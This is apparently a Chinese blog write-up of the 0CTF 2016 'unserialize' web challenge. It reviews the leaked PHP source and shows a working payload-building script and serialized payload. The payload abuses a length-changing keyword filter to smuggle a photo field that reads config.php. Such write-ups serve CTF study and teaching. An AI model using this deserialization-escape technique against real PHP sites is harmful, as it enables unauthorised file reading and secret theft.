• 0ctf_2016 _Web_unserialize


    解题:

    进入环境 扫目录。 得到 www.zip ,下载得到 好几个 源码

    class.php   config.php   index.php    profile.php  register.php   update.php

    index页面源码:

    1. require_once('class.php');
    2. if($_SESSION['username']) {
    3. header('Location: profile.php');
    4. exit;
    5. }
    6. if($_POST['username'] && $_POST['password']) {
    7. $username = $_POST['username'];
    8. $password = $_POST['password'];
    9. if(strlen($username) < 3 or strlen($username) > 16)
    10. die('Invalid user name');
    11. if(strlen($password) < 3 or strlen($password) > 16)
    12. die('Invalid password');
    13. if($user->login($username, $password)) {
    14. $_SESSION['username'] = $username;
    15. header('Location: profile.php');
    16. exit;
    17. }
    18. else {
    19. die('Invalid user name or password');
    20. }
    21. }
    22. else {

    简单看了下,没有什么问题,只是做了长度的限制,登录进去会跳转到profile.php

    注册页面源码:

    1. require_once('class.php');
    2. if($_POST['username'] && $_POST['password']) {
    3. $username = $_POST['username'];
    4. $password = $_POST['password'];
    5. if(strlen($username) < 3 or strlen($username) > 16)
    6. die('Invalid user name');
    7. if(strlen($password) < 3 or strlen($password) > 16)
    8. die('Invalid password');
    9. if(!$user->is_exists($username)) {
    10. $user->register($username, $password);
    11. echo 'Register OK!Please Login';
    12. }
    13. else {
    14. die('User name Already Exists');
    15. }
    16. }
    17. else {
    18. ?>

    也没有什么问题,同样是 检测长度,并且 确定username 存不存在。

    update.php 

    1. require_once('class.php');
    2. if($_SESSION['username'] == null) {
    3. die('Login First');
    4. }
    5. if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
    6. $username = $_SESSION['username'];
    7. if(!preg_match('/^\d{11}$/', $_POST['phone']))
    8. die('Invalid phone');
    9. if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    10. die('Invalid email');
    11. if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    12. die('Invalid nickname');
    13. $file = $_FILES['photo'];
    14. if($file['size'] < 5 or $file['size'] > 1000000)
    15. die('Photo size error');
    16. move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    17. $profile['phone'] = $_POST['phone'];
    18. $profile['email'] = $_POST['email'];
    19. $profile['nickname'] = $_POST['nickname'];
    20. $profile['photo'] = 'upload/' . md5($file['name']);
    21. $user->update_profile($username, serialize($profile));
    22. echo 'Update Profile Success!Your Profile';
    23. }
    24. else {
    25. ?>

    对填写的字符 进行了正则。

    profile.php 

    1. require_once('class.php');
    2. if($_SESSION['username'] == null) {
    3. die('Login First');
    4. }
    5. $username = $_SESSION['username'];
    6. $profile=$user->show_profile($username);
    7. if($profile == null) {
    8. header('Location: update.php');
    9. }
    10. else {
    11. $profile = unserialize($profile);
    12. $phone = $profile['phone'];
    13. $email = $profile['email'];
    14. $nickname = $profile['nickname'];
    15. $photo = base64_encode(file_get_contents($profile['photo']));
    16. ?>
    17. <head>
    18. Profile
    19. <link href="static/bootstrap.min.css" rel="stylesheet">
    20. "container" style="margin-top:100px">
    21. "data:image/gif;base64,$photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
    22. Hi echo $nickname;?>

  • }
  • ?>
  • 看到前面的代码。 满足了登录,且profile信息存在,则后面有个else 。 可能这就是最终利用到的代码:

    $photo = base64_encode(file_get_contents($profile['photo']));

    可能也就是说,我们要修改 profile 中的 photo 来读取flag。

    知道了这些,我们再看看剩下的两个代码:

    class.php

    1. require('config.php');
    2. class user extends mysql{
    3. private $table = 'users';
    4. public function is_exists($username) {
    5. $username = parent::filter($username);
    6. $where = "username = '$username'";
    7. return parent::select($this->table, $where);
    8. }
    9. public function register($username, $password) {
    10. $username = parent::filter($username);
    11. $password = parent::filter($password);
    12. $key_list = Array('username', 'password');
    13. $value_list = Array($username, md5($password));
    14. return parent::insert($this->table, $key_list, $value_list);
    15. }
    16. public function login($username, $password) {
    17. $username = parent::filter($username);
    18. $password = parent::filter($password);
    19. $where = "username = '$username'";
    20. $object = parent::select($this->table, $where);
    21. if ($object && $object->password === md5($password)) {
    22. return true;
    23. } else {
    24. return false;
    25. }
    26. }
    27. public function show_profile($username) {
    28. $username = parent::filter($username);
    29. $where = "username = '$username'";
    30. $object = parent::select($this->table, $where);
    31. return $object->profile;
    32. }
    33. public function update_profile($username, $new_profile) {
    34. $username = parent::filter($username);
    35. $new_profile = parent::filter($new_profile);
    36. $where = "username = '$username'";
    37. return parent::update($this->table, 'profile', $new_profile, $where);
    38. }
    39. public function __tostring() {
    40. return __class__;
    41. }
    42. }
    43. class mysql {
    44. private $link = null;
    45. public function connect($config) {
    46. $this->link = mysql_connect(
    47. $config['hostname'],
    48. $config['username'],
    49. $config['password']
    50. );
    51. mysql_select_db($config['database']);
    52. mysql_query("SET sql_mode='strict_all_tables'");
    53. return $this->link;
    54. }
    55. public function select($table, $where, $ret = '*') {
    56. $sql = "SELECT $ret FROM $table WHERE $where";
    57. $result = mysql_query($sql, $this->link);
    58. return mysql_fetch_object($result);
    59. }
    60. public function insert($table, $key_list, $value_list) {
    61. $key = implode(',', $key_list);
    62. $value = '\'' . implode('\',\'', $value_list) . '\'';
    63. $sql = "INSERT INTO $table ($key) VALUES ($value)";
    64. return mysql_query($sql);
    65. }
    66. public function update($table, $key, $value, $where) {
    67. $sql = "UPDATE $table SET $key = '$value' WHERE $where";
    68. return mysql_query($sql);
    69. }
    70. public function filter($string) {
    71. $escape = array('\'', '\\\\');
    72. $escape = '/' . implode('|', $escape) . '/';
    73. $string = preg_replace($escape, '_', $string);
    74. $safe = array('select', 'insert', 'update', 'delete', 'where');
    75. $safe = '/' . implode('|', $safe) . '/i';
    76. return preg_replace($safe, 'hacker', $string);
    77. }
    78. public function __tostring() {
    79. return __class__;
    80. }
    81. }
    82. session_start();
    83. $user = new user();
    84. $user->connect($config);

    class一般都是重要函数函数调用和数据库查询需要用到的文件。 class中包含了 config。php 去看看config .php 

    config.php:

    1. $config['hostname'] = '127.0.0.1';
    2. $config['username'] = 'root';
    3. $config['password'] = '';
    4. $config['database'] = '';
    5. $flag = '';
    6. ?>

    看到这里有个flag  应该是要class调用 config.php进行读取了。

    经过前面的思路就是 ,注册,登录,然后update 更新自己的信息,传给了 profile 。而photo参数具有文件读取的功能。

    update.php中。

    1. move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    2. $profile['phone'] = $_POST['phone'];
    3. $profile['email'] = $_POST['email'];
    4. $profile['nickname'] = $_POST['nickname'];
    5. $profile['photo'] = 'upload/' . md5($file['name']);
    6. $user->update_profile($username, serialize($profile));
    7. echo 'Update Profile Success!Your Profile';
    8. }
    9. else {

    这里调用了 个 update_profile 跟进一下。

    1. public function update_profile($username, $new_profile) {
    2. $username = parent::filter($username);
    3. $new_profile = parent::filter($new_profile);
    4. $where = "username = '$username'";
    5. return parent::update($this->table, 'profile', $new_profile, $where);
    6. }

    直接修改对象中的profile 信息,这里还调用了filter 过滤,跟进一下 filter 函数。

    1. public function filter($string) {
    2. $escape = array('\'', '\\\\');
    3. $escape = '/' . implode('|', $escape) . '/';
    4. $string = preg_replace($escape, '_', $string);
    5. $safe = array('select', 'insert', 'update', 'delete', 'where');
    6. $safe = '/' . implode('|', $safe) . '/i';
    7. return preg_replace($safe, 'hacker', $string);
    8. }
    return preg_replace($safe, 'hacker', $string);

    如果我们输入 'select', 'insert', 'update', 'delete', 'where' 这些字符,他就会自动替换为 hacker。

    不由想到 字符串逃串。

     

     

     果然把 我们的photo 替换成了hacker

    exp

    1. class b
    2. {
    3. public $phone = "12345678901";
    4. public $email = "123@qq.com";
    5. public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");
    6. public $photo = "config.php";
    7. }
    8. $a=new b();
    9. $profile = serialize($a);
    10. echo $profile;
    11. ?>
    12. //O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

    抓包

    返回页面后点击Your Profile

    查看源代码:

     解密就是flag

     

  • 相关阅读:
    关于循环浅析
    【JavaEE】多线程(二)
    Sql注入详解(原理篇)
    解决dirsearch扫描工具pkg_resources模块警告问题
    站在巨人肩上!阿里内部流传的Kubernetes实战手册,让你事半功倍
    JAVA集合2-Vector
    视频号视频提取小程序,快速下载视频号视频
    python基础语法(四)
    RPA前景、要求和学习方向
    关于开发中对端口(port)的几点理解
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/126833337